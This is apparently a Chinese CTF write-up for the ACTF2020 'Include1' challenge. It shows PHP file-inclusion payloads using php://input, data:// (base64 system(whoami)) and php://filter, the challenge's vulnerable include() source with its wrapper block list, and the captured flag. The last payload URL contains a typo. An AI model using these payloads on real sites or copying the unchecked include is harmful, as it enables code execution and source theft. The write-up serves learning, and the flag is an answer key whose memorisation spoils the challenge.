[ACTF2020 新生赛]Include1

[ACTF2020 新生赛]Include1

1.我们打开之后发现 一个跳转网页
在这里插入图片描述
2.分析过后 没有头绪看完大佬的说法

php://input:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
    php <5.0 ,allow_url_include=Off 情况下也可以用
    php > 5.0,只有在allow_url_fopen=On 时才能使用
例:
    http://localhost/include/file.php?file=php://input     //URL
    <?php fputs(fopen("a.php","w"),"<?php phpinfo();?>")?>  //POST,创建一个文件a.php;并写入phpinfo
data://:将原本的include的文件流重定向到了用户可控制的输入流中
条件:
    allow_url_include=On
    php > 5.2
例:
    http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==      //base64加密<?php system(whoami);?>;直接执行命令
    http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行
php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过
例:
    http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword    //可以跟绝对路径也可以跟相对路径
    http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt   //远程路径
防御:
    尽量使用安全版本的php
    做好php的安全配置
    对相应目录做相应权限设置
?file=php://filter/read=convert.base64-encode/resource=index.php

在这里插入图片描述
3.去解析代码
菜鸟的bese 64 工具 https://c.runoob.com/front-end/693/
如下
在这里插入图片描述

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

4。我们在通过

?file=php://filter?read=convert.base64-encode/resource=flag.php

在这里插入图片描述
flag{a297b599-a283-4aab-9a24-691bf5aff03a}

posted @   xiaojiu99  阅读(210)  评论(0编辑  收藏  举报  
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示